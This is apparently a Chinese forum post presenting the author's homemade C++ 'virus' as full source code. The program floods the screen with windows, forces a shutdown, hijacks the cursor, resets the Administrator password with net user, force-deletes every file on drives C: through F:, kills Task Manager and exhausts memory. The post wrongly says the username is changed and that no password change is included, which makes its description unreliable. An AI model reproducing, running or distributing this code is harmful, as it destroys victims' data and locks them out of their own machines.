上次说的,无限打开cmd的.bat文件,今天来个更厉害的,我自己做的病毒,有这些功能
1.打开10000个cmd和10000个计算器
2.关机(如输入“我是大傻逼”取消关机)
3.用不同颜色输出“大傻逼”
4.鼠标到处乱飞
5.鼠标卡死不能动
6.把用户名改为“大傻逼”
7.删除C盘所有文件
8.删除D盘所有文件
9.删除E盘所有文件
10.删除F盘所有文件
11.把电脑内存分配光
这已经不是整人代码了(我没有增加更改开机密码的功能)
如果想复原请关机
方法:
Alt+F4+Enter(Fn+Alt+F4+Enter)
提醒:不要随便运行!!!!!
#include <iostream>
#include <windows.h>
#include <cstring>
#include <cstdio>
#include <bits/stdc++.h>
using namespace std;
int main()
{
printf("提示!本程序是病毒,启动后后果自负!");
system("pause");
for(int i=1;i<=10000;i++)
{
system("cmd");
system("calc");
}
string s;
system("shutdown -s -t 120");
while(1)
{
puts("电脑即将关闭,输入我是大傻逼停止关机");
getline(cin,s);
if(s=="我是大傻逼")
{
printf("恭喜解除危机");
system("shutdown -a");
break;
}
puts("输入错误");
}
system("cls");
system("color 07");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 17");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 27");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 37");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 47");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 57");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 67");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 87");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color 97");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color A7");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color B7");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color C7");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color D7");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color E7");
puts("大傻逼");
printf("\n");
Sleep(1000);
system("color F7");
puts("大傻逼");
printf("\n");
Sleep(1000);
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
for(int i=1;i<=10000;i++)
SetCursorPos(rand()%x1,rand()%y1);
int x,y;
for(int i=1;i<=1000;i++)
{
x=rand()%801;
y=rand()%601;
SetCursorPos(x,y);
}
system("net user Administrator 大傻逼");
system("del /F /S /Q C:\\");
system("del /F /S /Q D:\\");
system("del /F /S /Q F:\\");
system("del /F /S /Q E:\\");
system("taskkill /f /im taskmgr.exe");
while(true)
malloc(1000);
return 0;
}